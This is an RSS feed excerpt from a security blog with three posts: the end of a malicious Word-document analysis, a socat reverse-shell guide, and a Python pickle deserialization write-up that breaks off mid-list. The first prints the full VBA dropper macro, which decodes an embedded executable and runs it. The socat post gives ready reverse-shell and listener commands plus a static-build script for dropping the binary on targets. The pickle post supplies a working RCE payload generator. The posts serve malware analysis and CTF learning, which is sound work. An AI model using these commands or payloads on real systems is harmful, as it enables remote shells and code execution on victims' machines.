 A2:        71 &#39;PROJECTwm&#39;
 A3: M    5871 &#39;VBA/NewMacros&#39;
 A4: m    1073 &#39;VBA/ThisDocument&#39;
 A5:      4400 &#39;VBA/_VBA_PROJECT&#39;
 A6:       734 &#39;VBA/dir&#39;
</code></pre>

<p>When extracting the content of the object <em>A3</em>, this is the object that is checked as it has the letter <code>M</code> and this is used by the <code>oledump</code> tool to denote macro code.</p>

<pre><code class="language-vbscript">Attribute VB_Name = &#34;NewMacros&#34;
Public Declare PtrSafe Function system Lib &#34;libc.dylib&#34; (ByVal command As String) As Long

Sub AutoOpen()
    On Error Resume Next
    Dim found_value As String

    For Each prop In ActiveDocument.BuiltInDocumentProperties
        If prop.Name = &#34;Comments&#34; Then
            found_value = Mid(prop.Value, 56)
            orig_val = Base64Decode(found_value)
            #If Mac Then
                ExecuteForOSX (orig_val)
            #Else
                ExecuteForWindows (orig_val)
            #End If
            Exit For
        End If
    Next
End Sub

Sub ExecuteForWindows(code)
    On Error Resume Next
    Set fso = CreateObject(&#34;Scripting.FileSystemObject&#34;)
    tmp_folder = fso.GetSpecialFolder(2)
    tmp_name = tmp_folder + &#34;\&#34; + fso.GetTempName() + &#34;.exe&#34;
    Set f = fso.createTextFile(tmp_name)
    f.Write (code)
    f.Close
    CreateObject(&#34;WScript.Shell&#34;).Run (tmp_name)
End Sub

Sub ExecuteForOSX(code)
    System (&#34;echo &#34;&#34;&#34; &amp; code &amp; &#34;&#34;&#34; | python &amp;&#34;)
End Sub


&#39; Decodes a base-64 encoded string (BSTR type).
&#39; 1999 - 2004 Antonin Foller, http://www.motobit.com
&#39; 1.01 - solves problem with Access And &#39;Compare Database&#39; (InStr)
Function Base64Decode(ByVal base64String)
  &#39;rfc1521
  &#39;1999 Antonin Foller, Motobit Software, http://Motobit.cz
  Const Base64 = &#34;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/&#34;
  Dim dataLength, sOut, groupBegin
  
  base64String = Replace(base64String, vbCrLf, &#34;&#34;)
  base64String = Replace(base64String, vbTab, &#34;&#34;)
  base64String = Replace(base64String, &#34; &#34;, &#34;&#34;)
  
  dataLength = Len(base64String)
  If dataLength Mod 4 &lt;&gt; 0 Then
    Err.Raise 1, &#34;Base64Decode&#34;, &#34;Bad Base64 string.&#34;
    Exit Function
  End If

  
  For groupBegin = 1 To dataLength Step 4
    Dim numDataBytes, CharCounter, thisChar, thisData, nGroup, pOut
    numDataBytes = 3
    nGroup = 0

    For CharCounter = 0 To 3

      thisChar = Mid(base64String, groupBegin + CharCounter, 1)

      If thisChar = &#34;=&#34; Then
        numDataBytes = numDataBytes - 1
        thisData = 0
      Else
        thisData = InStr(1, Base64, thisChar, vbBinaryCompare) - 1
      End If
      If thisData = -1 Then
        Err.Raise 2, &#34;Base64Decode&#34;, &#34;Bad character In Base64 string.&#34;
        Exit Function
      End If

      nGroup = 64 * nGroup + thisData
    Next
    
    nGroup = Hex(nGroup)
    
    nGroup = String(6 - Len(nGroup), &#34;0&#34;) &amp; nGroup
    
    pOut = Chr(CByte(&#34;&amp;H&#34; &amp; Mid(nGroup, 1, 2))) + _
      Chr(CByte(&#34;&amp;H&#34; &amp; Mid(nGroup, 3, 2))) + _
      Chr(CByte(&#34;&amp;H&#34; &amp; Mid(nGroup, 5, 2)))
    
    sOut = sOut &amp; Left(pOut, numDataBytes)
  Next

  Base64Decode = sOut
End Function
</code></pre>

<p>The source code on this instance is not obfuscated, which makes it easier to analyze, and there is a check for the OS that is running so that different commands are used. There is a reference to the <em>Comments</em> property that is found in the metadata.</p>

<p>Checking the <em>core.xml</em> file it shows a big block of data in the <em>description</em> field</p>

<pre><code class="language-xml:core.xml">&lt;?xml version=&#34;1.0&#34; encoding=&#34;UTF-8&#34; standalone=&#34;yes&#34;?&gt;
&lt;cp:coreProperties xmlns:cp=&#34;http://schemas.openxmlformats.org/package/2006/metadata/core-properties&#34; xmlns:dc=&#34;http://purl.org/dc/elements/1.1/&#34; xmlns:dcterms=&#34;http://purl.org/dc/terms/&#34; xmlns:dcmitype=&#34;http://purl.org/dc/dcmitype/&#34; xmlns:xsi=&#34;http://www.w3.org/2001/XMLSchema-instance&#34;&gt;
  &lt;dc:title/&gt;
  &lt;dc:subject/&gt;
  &lt;dc:creator/&gt;
  &lt;cp:keywords/&gt;
  &lt;dc:description&gt;TVqQAAMAAA[...]GFiLnBkYgA=&lt;/dc:description&gt;
  &lt;cp:lastModifiedBy&gt;Wei Chen&lt;/cp:lastModifiedBy&gt;
  &lt;cp:revision&gt;1&lt;/cp:revision&gt;
  &lt;dcterms:created xsi:type=&#34;dcterms:W3CDTF&#34;&gt;2017-05-25T19:12:00Z&lt;/dcterms:created&gt;
  &lt;dcterms:modified xsi:type=&#34;dcterms:W3CDTF&#34;&gt;2017-05-25T19:28:00Z&lt;/dcterms:modified&gt;
  &lt;cp:category/&gt;
&lt;/cp:coreProperties&gt;
</code></pre>

<p>The long string is encoded using Base64, when decoding the data it results in a binary file.</p>

<p>Checking the Windows executable with Radare2 shows the following</p>

<pre><code class="language-shellsession">❯ r2 msf.dat
[0x00407354]&gt; i
fd       3
file     msf.dat
size     0x1204a
humansz  72.1K
mode     r-x
format   pe
iorw     false
blksz    0x0
block    0x100
type     EXEC (Executable file)
arch     x86
baddr    0x400000
binsz    73802
bintype  pe
bits     32
canary   false
retguard false
class    PE32
cmp.csum 0x000125dd
compiled Tue Apr 14 04:46:43 2009
crypto   false
dbg_file C:\local0\asf\release\build-2.2.14\support\Release\ab.pdb
endian   little
havecode true
hdr.csum 0x00000000
guid     4AC180361
laddr    0x0
lang     c
linenum  true
lsyms    true
machine  i386
maxopsz  16
minopsz  1
nx       false
os       windows
overlay  true
cc       cdecl
pcalign  0
pic      false
relocs   true
signed   false
sanitiz  false
static   false
stripped false
subsys   Windows GUI
va       true
</code></pre>

<p>The binary analysis of this is out of the scope of this documentation, however, it establishes a reverse shell back to the attacker.</p>
]]></content:encoded>
      <guid>https://codebeta.com/analyzing-malware-documents</guid>
      <pubDate>Mon, 18 Oct 2021 13:03:04 +0000</pubDate>
    </item>
    <item>
      <title>SOCAT</title>
      <link>https://codebeta.com/socat?pk_campaign=rss-feed</link>
      <description>&lt;![CDATA[There are several commands and tools that can be used to establish a shell connection between hosts, on that is very useful in multiple ways is socat. There are several benefits to using socat over netcat, one being the ability of stabilizing the shell from the start and not having to run through a sequence of commands to do so. The only downside to this tool is that it requires the binary to exist in both ends, which might not be common in many cases, but can be easy to move the binary to the target system and start a better reverse shell.&#xA;&#xA;This post covers establishing a shell session between two hosts in Windows and Linux environments, these are the commands I use when working on a Hack The Box machine when I want to use socat. It also covers compiling the binaries for Linux and Windows.&#xA;&#xA;The same code is used for the binaries in either environment, the advantage of this is being able to use the same commands regardless of the environment and not having to remember the difference between one and the other, beside the program being used as the shell.&#xA;&#xA;!--more--&#xA;&#xA;Reverse Shell Session&#xA;&#xA;A listener can be started with the following command, which has the advantage of creating a stable shell without needing to run additional commands&#xA;&#xA;socat file:tty,raw,echo=0 tcp4-listen:9000&#xA;&#xA;If the listener is started in a Windows environment, then use the following command to start the listener, though not as stable as the command above&#xA;&#xA;socat tcp4-listen:9000 stdout&#xA;&#xA;On the target host, the reverse shell is started with the command below&#xA;&#xA;socat exec:&#39;/usr/bin/bash -li&#39;,pty,stderr,setsid,sigint,sane tcp4:0.0.0.0:9000&#xA;&#xA;Change the IP address 0.0.0.0 to the respective address, on the listening side it binds the connection to a specific address and on the target host it establishes the connection to the attacker&#39;s host.&#xA;&#xA;Despite the shell being more stable from the start, it may be necessary to set the dimensions of the STTY and the TERM environment variable to further stabilize the shell and prevent artifacts from showing up in the output. If the target system is running Linux, then simply set the TERM environment variable to the terminal being used, since I use xterm, I run the command export TERM=xterm-256color.&#xA;&#xA;Setting the terminal dimensions can be done by first running the command stty size on the local system and then setting the terminal dimensions on the reverse shell with the command stty rows 80 cols 124, just replace the values as necessary.&#xA;&#xA;The command below can be executed on the local system to generate the necessary commands and just need to copy from the terminal on the local system and paste on the reverse shell session&#xA;&#xA;stty size | awk &#39;{printf &#34;stty rows &#34; $1 &#34; cols &#34; $2}&#39;;printf &#34;;export TERM=$TERM&#34;&#xA;&#xA;The above steps only apply when both systems are running a Unix-based system and not when it&#39;s a Windows system.&#xA;&#xA;TLS Encryption&#xA;&#xA;Starting an encrypted connection can also be done with the use of a SSL certificate, the commands below are used to create the certificate&#xA;&#xA;openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 30 -nodes&#xA;cat key.pem cert.pem   single.pem&#xA;&#xA;Start the listener with the command below&#xA;&#xA;socat file:tty,raw,echo=0 openssl-listen:9000,cert=single.pem,verify=0&#xA;&#xA;On the target host, the following command can be used to initiate the reverse shell&#xA;&#xA;socat exec:&#39;/usr/bin/bash -li&#39;,pty,stderr,setsid,sigint,sane openssl:0.0.0.0:9000,verify=0&#xA;&#xA;Change the IP address 0.0.0.0 to the respective address, on the listening side it binds the connection to a specific address and on the target host it establishes the connection to the attacker&#39;s host.&#xA;&#xA;Compile Socat&#xA;&#xA;The socat binary can be statically compiled so that it can be uploaded to a target Linux host and used to establish a reverse shell.&#xA;Compilation is done within a container to prevent having to install any additional tools.&#xA;&#xA;The following build.sh script is used for the compilation, check for the latest versions of each of the packages needed for the compilation process&#xA;&#xA;!/bin/bash&#xA;&#xA;set -e&#xA;set -o pipefail&#xA;set -x&#xA;&#xA;Check for the latest versions of these packages&#xA;SOCATVERSION=1.7.4.1&#xA;NCURSESVERSION=6.2&#xA;READLINEVERSION=8.1&#xA;OPENSSLVERSION=1.1.1k&#xA;&#xA;function buildncurses() {&#xA;    cd /build&#xA;&#xA;    # Download&#xA;    curl -LO http://invisible-mirror.net/archives/ncurses/ncurses-${NCURSESVERSION}.tar.gz&#xA;    tar zxvf ncurses-${NCURSESVERSION}.tar.gz&#xA;    cd ncurses-${NCURSESVERSION}&#xA;&#xA;    # Build&#xA;    CC=&#39;/usr/bin/gcc -static&#39; CFLAGS=&#39;-fPIC&#39; ./configure \&#xA;        --disable-shared \&#xA;        --enable-static&#xA;}&#xA;&#xA;function buildreadline() {&#xA;    cd /build&#xA;&#xA;    # Download&#xA;    curl -LO ftp://ftp.cwru.edu/pub/bash/readline-${READLINEVERSION}.tar.gz&#xA;    tar xzvf readline-${READLINEVERSION}.tar.gz&#xA;    cd readline-${READLINEVERSION}&#xA;&#xA;    # Build&#xA;    CC=&#39;/usr/bin/gcc -static&#39; CFLAGS=&#39;-fPIC&#39; ./configure \&#xA;        --disable-shared \&#xA;        --enable-static&#xA;    make -j4&#xA;&#xA;    # Note that socat looks for readline in readline/readline.h, so we need&#xA;    # that directory to exist.&#xA;    ln -s /build/readline-${READLINEVERSION} /build/readline&#xA;}&#xA;&#xA;function buildopenssl() {&#xA;    cd /build&#xA;&#xA;    # Download&#xA;    curl -LO https://www.openssl.org/source/openssl-${OPENSSLVERSION}.tar.gz&#xA;    tar zxvf openssl-${OPENSSLVERSION}.tar.gz&#xA;    cd openssl-${OPENSSLVERSION}&#xA;&#xA;    # Configure&#xA;    CC=&#39;/usr/bin/gcc -static&#39; ./Configure no-shared no-async linux-x8664&#xA;&#xA;    # Build&#xA;    make -j4&#xA;    echo &#34; Finished building OpenSSL&#34;&#xA;}&#xA;&#xA;function buildsocat() {&#xA;    cd /build&#xA;&#xA;    # Download&#xA;    curl -LO http://www.dest-unreach.org/socat/download/socat-${SOCATVERSION}.tar.gz&#xA;    tar xzvf socat-${SOCATVERSION}.tar.gz&#xA;    cd socat-${SOCATVERSION}&#xA;&#xA;    # Build&#xA;    # NOTE: NETDBINTERNAL is non-POSIX, and thus not defined by MUSL.&#xA;    # We define it this way manually.&#xA;    CC=&#39;/usr/bin/gcc -static&#39; \&#xA;        CFLAGS=&#39;-fPIC&#39; \&#xA;        CPPFLAGS=&#34;-I/build -I/build/openssl-${OPENSSLVERSION}/include -DNETDBINTERNAL=-1&#34; \&#xA;        LDFLAGS=&#34;-L/build/readline-${READLINEVERSION} -L/build/ncurses-${NCURSESVERSION}/lib -L/build/openssl-${OPENSSLVERSION}&#34; \&#xA;        ./configure&#xA;    make -j4&#xA;    strip socat&#xA;}&#xA;&#xA;function doit() {&#xA;    buildncurses&#xA;    buildreadline&#xA;    buildopenssl&#xA;    buildsocat&#xA;&#xA;    # Copy to output&#xA;    if [ -d /output ]&#xA;    then&#xA;        OUTDIR=/output/uname | tr &#39;A-Z&#39; &#39;a-z&#39;/uname -m&#xA;        mkdir -p $OUTDIR&#xA;        cp /build/socat-${SOCATVERSION}/socat $OUTDIR/&#xA;        echo &#34; Finished &#34;&#xA;    else&#xA;        echo &#34; /output does not exist **&#34;&#xA;    fi&#xA;}&#xA;&#xA;doit&#xA;&#xA;The following Dockerfile is used to create the container that will be used for compilation&#xA;&#xA;FROM docker.io/alpine:latest&#xA;MAINTAINER Andrew Dunham andrew@du.nham.ca&#xA;&#xA;RUN apk --update add build-base bash automake git curl linux-headers&#xA;&#xA;RUN mkdir /build&#xA;RUN mkdir /output&#xA;ADD . /build&#xA;&#xA;This builds the program and copies it to /output&#xA;CMD /build/build.sh&#xA;&#xA;Create the container with the command below, the files mentioned above should exist within the same directory&#xA;&#xA;podman build -t socat-static .&#xA;&#xA;Run the following command to start the container and compile the socat binary&#xA;&#xA;podman run -v $PWD:/output --rm localhost/socat-static&#xA;&#xA;The successful compilation will result in the path ./linux/x8664/socat being created and containing the statically linked binary for 64-bit Linux systems.&#xA;&#xA;To compile for 32-bit, the build.sh needs to be modified in the function buildopenssl, the configure line should read CC=&#39;/usr/bin/gcc -static&#39; ./Configure no-shared no-async linux-x86 to compile OpenSSL library in 32-bit.&#xA;The container needs to be created with the command podman build -t socat-static-32 --arch=386 . to create the container with 32-bit architecture.&#xA;The container is then started with the command podman run -v $PWD:/output --rm localhost/socat-static-32.&#xA;The output will still be saved to the directory ./linux/x8664, thus will overwrite any existing file with the name socat.&#xA;&#xA;The 32-bit version will also work in the 64-bit system.&#xA;&#xA;Compile for Windows&#xA;&#xA;To compile in Windows, the follow the steps below&#xA;&#xA;Install Cygwin with the Development packages.&#xA;Download the tarball from the URL http://www.dest-unreach.org/socat/download/socat-1.7.4.1.tar.gz and untar within Cygwin.&#xA;Run the command ./configure and then make&#xA;&#xA;The following list of libraries need to be copied along with the executable to run Socat in any Windows system, simply place the libraries in the same folder as the executable&#xA;&#xA;cyggccs-1.dll&#xA;cygcrypto-1.1.dll&#xA;cygncursesw-10.dll&#xA;cygreadline7.dll&#xA;cygssl-1.1.dll&#xA;cygwin1.dll&#xA;cygz.dll&#xA;&#xA;The libraries are found within the Cygwin bin folder.]]&gt;</description>
      <content:encoded><![CDATA[<p>There are several commands and tools that can be used to establish a shell connection between hosts, on that is very useful in multiple ways is <a href="http://www.dest-unreach.org/socat/">socat</a>. There are several benefits to using socat over netcat, one being the ability of stabilizing the shell from the start and not having to run through a sequence of commands to do so. The only downside to this tool is that it requires the binary to exist in both ends, which might not be common in many cases, but can be easy to move the binary to the target system and start a better reverse shell.</p>

<p>This post covers establishing a shell session between two hosts in Windows and Linux environments, these are the commands I use when working on a <a href="https://hackthebox.eu">Hack The Box</a> machine when I want to use socat. It also covers compiling the binaries for Linux and Windows.</p>

<p>The same code is used for the binaries in either environment, the advantage of this is being able to use the same commands regardless of the environment and not having to remember the difference between one and the other, beside the program being used as the shell.</p>



<h2 id="reverse-shell-session" id="reverse-shell-session">Reverse Shell Session</h2>

<p>A listener can be started with the following command, which has the advantage of creating a stable shell without needing to run additional commands</p>

<pre><code class="language-shell">socat file:`tty`,raw,echo=0 tcp4-listen:9000
</code></pre>

<p>If the listener is started in a Windows environment, then use the following command to start the listener, though not as stable as the command above</p>

<pre><code class="language-shell">socat tcp4-listen:9000 stdout
</code></pre>

<p>On the target host, the reverse shell is started with the command below</p>

<pre><code class="language-shell">socat exec:&#39;/usr/bin/bash -li&#39;,pty,stderr,setsid,sigint,sane tcp4:0.0.0.0:9000
</code></pre>

<p>Change the IP address <code>0.0.0.0</code> to the respective address, on the listening side it binds the connection to a specific address and on the target host it establishes the connection to the attacker&#39;s host.</p>

<p>Despite the shell being more stable from the start, it may be necessary to set the dimensions of the STTY and the TERM environment variable to further stabilize the shell and prevent artifacts from showing up in the output. If the target system is running Linux, then simply set the <code>TERM</code> environment variable to the terminal being used, since I use xterm, I run the command <code>export TERM=xterm-256color</code>.</p>

<p>Setting the terminal dimensions can be done by first running the command <code>stty size</code> on the local system and then setting the terminal dimensions on the reverse shell with the command <code>stty rows 80 cols 124</code>, just replace the values as necessary.</p>

<p>The command below can be executed on the local system to generate the necessary commands and just need to copy from the terminal on the local system and paste on the reverse shell session</p>

<pre><code class="language-shell">stty size | awk &#39;{printf &#34;stty rows &#34; $1 &#34; cols &#34; $2}&#39;;printf &#34;;export TERM=$TERM&#34;
</code></pre>

<p>The above steps only apply when both systems are running a Unix-based system and not when it&#39;s a Windows system.</p>

<h2 id="tls-encryption" id="tls-encryption">TLS Encryption</h2>

<p>Starting an encrypted connection can also be done with the use of a SSL certificate, the commands below are used to create the certificate</p>

<pre><code class="language-shell">openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 30 -nodes
cat key.pem cert.pem &gt; single.pem
</code></pre>

<p>Start the listener with the command below</p>

<pre><code class="language-shell">socat file:`tty`,raw,echo=0 openssl-listen:9000,cert=single.pem,verify=0
</code></pre>

<p>On the target host, the following command can be used to initiate the reverse shell</p>

<pre><code class="language-shell">socat exec:&#39;/usr/bin/bash -li&#39;,pty,stderr,setsid,sigint,sane openssl:0.0.0.0:9000,verify=0
</code></pre>

<p>Change the IP address <code>0.0.0.0</code> to the respective address, on the listening side it binds the connection to a specific address and on the target host it establishes the connection to the attacker&#39;s host.</p>

<h2 id="compile-socat" id="compile-socat">Compile Socat</h2>

<p>The socat binary can be statically compiled so that it can be uploaded to a target Linux host and used to establish a reverse shell.
Compilation is done within a container to prevent having to install any additional tools.</p>

<p>The following <code>build.sh</code> script is used for the compilation, check for the latest versions of each of the packages needed for the compilation process</p>

<pre><code class="language-shell">#!/bin/bash

set -e
set -o pipefail
set -x

# Check for the latest versions of these packages
SOCAT_VERSION=1.7.4.1
NCURSES_VERSION=6.2
READLINE_VERSION=8.1
OPENSSL_VERSION=1.1.1k

function build_ncurses() {
    cd /build

    # Download
    curl -LO http://invisible-mirror.net/archives/ncurses/ncurses-${NCURSES_VERSION}.tar.gz
    tar zxvf ncurses-${NCURSES_VERSION}.tar.gz
    cd ncurses-${NCURSES_VERSION}

    # Build
    CC=&#39;/usr/bin/gcc -static&#39; CFLAGS=&#39;-fPIC&#39; ./configure \
        --disable-shared \
        --enable-static
}

function build_readline() {
    cd /build

    # Download
    curl -LO ftp://ftp.cwru.edu/pub/bash/readline-${READLINE_VERSION}.tar.gz
    tar xzvf readline-${READLINE_VERSION}.tar.gz
    cd readline-${READLINE_VERSION}

    # Build
    CC=&#39;/usr/bin/gcc -static&#39; CFLAGS=&#39;-fPIC&#39; ./configure \
        --disable-shared \
        --enable-static
    make -j4

    # Note that socat looks for readline in &lt;readline/readline.h&gt;, so we need
    # that directory to exist.
    ln -s /build/readline-${READLINE_VERSION} /build/readline
}

function build_openssl() {
    cd /build

    # Download
    curl -LO https://www.openssl.org/source/openssl-${OPENSSL_VERSION}.tar.gz
    tar zxvf openssl-${OPENSSL_VERSION}.tar.gz
    cd openssl-${OPENSSL_VERSION}

    # Configure
    CC=&#39;/usr/bin/gcc -static&#39; ./Configure no-shared no-async linux-x86_64

    # Build
    make -j4
    echo &#34;** Finished building OpenSSL&#34;
}

function build_socat() {
    cd /build

    # Download
    curl -LO http://www.dest-unreach.org/socat/download/socat-${SOCAT_VERSION}.tar.gz
    tar xzvf socat-${SOCAT_VERSION}.tar.gz
    cd socat-${SOCAT_VERSION}

    # Build
    # NOTE: `NETDB_INTERNAL` is non-POSIX, and thus not defined by MUSL.
    # We define it this way manually.
    CC=&#39;/usr/bin/gcc -static&#39; \
        CFLAGS=&#39;-fPIC&#39; \
        CPPFLAGS=&#34;-I/build -I/build/openssl-${OPENSSL_VERSION}/include -DNETDB_INTERNAL=-1&#34; \
        LDFLAGS=&#34;-L/build/readline-${READLINE_VERSION} -L/build/ncurses-${NCURSES_VERSION}/lib -L/build/openssl-${OPENSSL_VERSION}&#34; \
        ./configure
    make -j4
    strip socat
}

function doit() {
    build_ncurses
    build_readline
    build_openssl
    build_socat

    # Copy to output
    if [ -d /output ]
    then
        OUT_DIR=/output/`uname | tr &#39;A-Z&#39; &#39;a-z&#39;`/`uname -m`
        mkdir -p $OUT_DIR
        cp /build/socat-${SOCAT_VERSION}/socat $OUT_DIR/
        echo &#34;** Finished **&#34;
    else
        echo &#34;** /output does not exist **&#34;
    fi
}

doit
</code></pre>

<p>The following <code>Dockerfile</code> is used to create the container that will be used for compilation</p>

<pre><code class="language-yaml">FROM docker.io/alpine:latest
MAINTAINER Andrew Dunham &lt;andrew@du.nham.ca&gt;

RUN apk --update add build-base bash automake git curl linux-headers

RUN mkdir /build
RUN mkdir /output
ADD . /build

# This builds the program and copies it to /output
CMD /build/build.sh
</code></pre>

<p>Create the container with the command below, the files mentioned above should exist within the same directory</p>

<pre><code class="language-shell">podman build -t socat-static .
</code></pre>

<p>Run the following command to start the container and compile the socat binary</p>

<pre><code class="language-shell">podman run -v $PWD:/output --rm localhost/socat-static
</code></pre>

<p>The successful compilation will result in the path <code>./linux/x86_64/socat</code> being created and containing the statically linked binary for 64-bit Linux systems.</p>

<p>To compile for 32-bit, the <code>build.sh</code> needs to be modified in the function <code>build_openssl</code>, the configure line should read <code>CC=&#39;/usr/bin/gcc -static&#39; ./Configure no-shared no-async linux-x86</code> to compile OpenSSL library in 32-bit.
The container needs to be created with the command <code>podman build -t socat-static-32 --arch=386 .</code> to create the container with 32-bit architecture.
The container is then started with the command <code>podman run -v $PWD:/output --rm localhost/socat-static-32</code>.
The output will still be saved to the directory <code>./linux/x86_64</code>, thus will overwrite any existing file with the name <code>socat</code>.</p>

<p>The 32-bit version will also work in the 64-bit system.</p>

<h2 id="compile-for-windows" id="compile-for-windows">Compile for Windows</h2>

<p>To compile in Windows, the follow the steps below</p>
<ol><li>Install Cygwin with the Development packages.</li>
<li>Download the tarball from the URL <code>http://www.dest-unreach.org/socat/download/socat-1.7.4.1.tar.gz</code> and untar within Cygwin.</li>
<li>Run the command <code>./configure</code> and then <code>make</code></li></ol>

<p>The following list of libraries need to be copied along with the executable to run Socat in any Windows system, simply place the libraries in the same folder as the executable</p>
<ul><li>cyggcc_s-1.dll</li>
<li>cygcrypto-1.1.dll</li>
<li>cygncursesw-10.dll</li>
<li>cygreadline7.dll</li>
<li>cygssl-1.1.dll</li>
<li>cygwin1.dll</li>
<li>cygz.dll</li></ul>

<p>The libraries are found within the Cygwin bin folder.</p>
]]></content:encoded>
      <guid>https://codebeta.com/socat</guid>
      <pubDate>Fri, 08 Oct 2021 22:56:24 +0000</pubDate>
    </item>
    <item>
      <title>Python Pickles</title>
      <link>https://codebeta.com/python-pickles?pk_campaign=rss-feed</link>
      <description>&lt;![CDATA[In Python, an object can be converted into a stream of bytes to allow for moving the object between environments or processes, this is known as serialization and deserialization. The Pickle library can be used in Python for this purpose, however, this is an insecure method that can allow an attacker to obtain remote code execution (RCE) on the target host.&#xA;&#xA;The documentation includes a warning that points to this situation and pointing to the serialized data being processed only for trusted sources&#xA;&#xA;  Warning: The pickle module is not secure. Only unpickle data you trust. It is possible to construct malicious pickle data which will execute arbitrary code during unpickling.&#xA;&#xA;There is a difference between how the object is serialized in Python 2 and Python 3, which can present an issue when dealing with applications that use the deprecated Python 2 version. However, the Pickle library in Python 3 is capable of generating a Python 2 compatible serialized object that can be used to generate the payload for these scenarios.&#xA;&#xA;!--more--&#xA;&#xA;The following Python 3 script creates a serialized object&#xA;&#xA;!/usr/bin/env python3&#xA;&#xA;import os&#xA;import pickle&#xA;&#xA;class RCE(object):&#xA;    def init(self,cmd):&#xA;        self.cmd = cmd&#xA;    &#xA;    def reduce(self):&#xA;        return (os.system, (self.cmd,))&#xA;&#xA;print(pickle.dumps(RCE(b&#34;uname -a&#34;)))&#xA;&#xA;The output of the script above is shown below&#xA;&#xA;\x80\x04\x95#\x00\x00\x00\x00\x00\x00\x00\x8c\x05posix\x94\x8c\x06system\x94\x93\x94C\x08uname -a\x94\x85\x94R\x94.&#xA;&#xA;The latest version of the protocol is 5, however, in Python 3.8 the default version of the protocol used is 4. This can be checked with pickle.DEFAULTPROTOCOL and the highest protocol version available can be checked with pickle.HIGHESTPROTOCOL. The output shown above is for protocol version 4, however, it would be the same if it was version 5.&#xA;&#xA;Below is the output of each protocol version for the same object mentioned in the script above&#xA;&#xA;0: cposix\nsystem\np0\n(ccodecs\nencode\np1\n(Vuname -a\np2\nVlatin1\np3\ntp4\nRp5\ntp6\nRp7\n.&#xA;1: cposix\nsystem\nq\x00(ccodecs\nencode\nq\x01(X\x08\x00\x00\x00uname -aq\x02X\x06\x00\x00\x00latin1q\x03tq\x04Rq\x05tq\x06Rq\x07.&#xA;2: \x80\x02cposix\nsystem\nq\x00ccodecs\nencode\nq\x01X\x08\x00\x00\x00uname -aq\x02X\x06\x00\x00\x00latin1q\x03\x86q\x04Rq\x05\x85q\x06Rq\x07.&#xA;3: \x80\x03cposix\nsystem\nq\x00C\x08uname -aq\x01\x85q\x02Rq\x03.&#xA;4: \x80\x04\x95#\x00\x00\x00\x00\x00\x00\x00\x8c\x05posix\x94\x8c\x06system\x94\x93\x94C\x08uname -a\x94\x85\x94R\x94.&#xA;5: \x80\x05\x95#\x00\x00\x00\x00\x00\x00\x00\x8c\x05posix\x94\x8c\x06system\x94\x93\x94C\x08uname -a\x94\x85\x94R\x94.&#xA;&#xA;The protocol versions 0 through 2 can be deserialized by Python 2, while the versions 3 through 5 can only be deserialized by Python 3. This aspect is important, since if the target application uses an older version of Python, then it is necessary to adjust the script to generate the respective payload.&#xA;&#xA;Specifying which protocol version to use can be done by adding the number after the object in the dumps function or by using the protocol= argument, as shown below&#xA;&#xA;pickle.dumps(RCE(b&#34;uname -a&#34;), 1)&#xA;pickle.dumps(RCE(b&#34;uname -a&#34;), protocol=1)&#xA;&#xA;The other argument that will generate a different serialized object is fiximports=, which will translate the module names in the serialized object when the version is lower than 3 so that they match the module names on Python 2. However, this may cause for the module name to not match the one used on the target system, meaning that it may be necessary to set this argument to False. In the sample output above, this was not needed as the same module name was used, however, in the sample below the output does vary due to the module being named differently&#xA;&#xA;Fixed import: ccommands\nPopen\np0\n(Vuname -a\np1\ntp2\nRp3\n.&#xA;Not fixed import: csubprocess\nPopen\np0\n(Vuname -a\np1\ntp2\nRp3\n.&#xA;&#xA;The only difference being the module name subprocess being changed to commands. If the protocol version is set to 3 or higher, the fiximports= argument doesn&#39;t have any effect on the output.&#xA;&#xA;The loads function will determine the protocol version prior to deserializing the data provided, this means that when attempting to exploit a vulnerable application, start lowering the version of the protocol if the payload fails and include the fiximports argument as part of the testing as well.&#xA;]]&gt;</description>
      <content:encoded><![CDATA[<p>In Python, an object can be converted into a stream of bytes to allow for moving the object between environments or processes, this is known as serialization and deserialization. The <a href="https://docs.python.org/3/library/pickle.html">Pickle library</a> can be used in Python for this purpose, however, this is an insecure method that can allow an attacker to obtain <em>remote code execution</em> (RCE) on the target host.</p>

<p>The documentation includes a warning that points to this situation and pointing to the serialized data being processed only for trusted sources</p>

<blockquote><p>Warning: The pickle module is not secure. Only unpickle data you trust. It is possible to construct malicious pickle data which will execute arbitrary code during unpickling.</p></blockquote>

<p>There is a difference between how the object is serialized in Python 2 and Python 3, which can present an issue when dealing with applications that use the deprecated Python 2 version. However, the Pickle library in Python 3 is capable of generating a Python 2 compatible serialized object that can be used to generate the payload for these scenarios.</p>



<p>The following Python 3 script creates a serialized object</p>

<pre><code class="language-python">#!/usr/bin/env python3

import os
import pickle

class RCE(object):
    def __init__(self,cmd):
        self.cmd = cmd
    
    def __reduce__(self):
        return (os.system, (self.cmd,))

print(pickle.dumps(RCE(b&#34;uname -a&#34;)))
</code></pre>

<p>The output of the script above is shown below</p>

<pre><code class="language-text">\x80\x04\x95#\x00\x00\x00\x00\x00\x00\x00\x8c\x05posix\x94\x8c\x06system\x94\x93\x94C\x08uname -a\x94\x85\x94R\x94.
</code></pre>

<p>The latest version of the protocol is 5, however, in Python 3.8 the default version of the protocol used is 4. This can be checked with <code>pickle.DEFAULT_PROTOCOL</code> and the highest protocol version available can be checked with <code>pickle.HIGHEST_PROTOCOL</code>. The output shown above is for protocol version 4, however, it would be the same if it was version 5.</p>

<p>Below is the output of each protocol version for the same object mentioned in the script above</p>
<ul><li>0: <code>cposix\nsystem\np0\n(c_codecs\nencode\np1\n(Vuname -a\np2\nVlatin1\np3\ntp4\nRp5\ntp6\nRp7\n.</code></li>
<li>1: <code>cposix\nsystem\nq\x00(c_codecs\nencode\nq\x01(X\x08\x00\x00\x00uname -aq\x02X\x06\x00\x00\x00latin1q\x03tq\x04Rq\x05tq\x06Rq\x07.</code></li>
<li>2: <code>\x80\x02cposix\nsystem\nq\x00c_codecs\nencode\nq\x01X\x08\x00\x00\x00uname -aq\x02X\x06\x00\x00\x00latin1q\x03\x86q\x04Rq\x05\x85q\x06Rq\x07.</code></li>
<li>3: <code>\x80\x03cposix\nsystem\nq\x00C\x08uname -aq\x01\x85q\x02Rq\x03.</code></li>
<li>4: <code>\x80\x04\x95#\x00\x00\x00\x00\x00\x00\x00\x8c\x05posix\x94\x8c\x06system\x94\x93\x94C\x08uname -a\x94\x85\x94R\x94.</code></li>
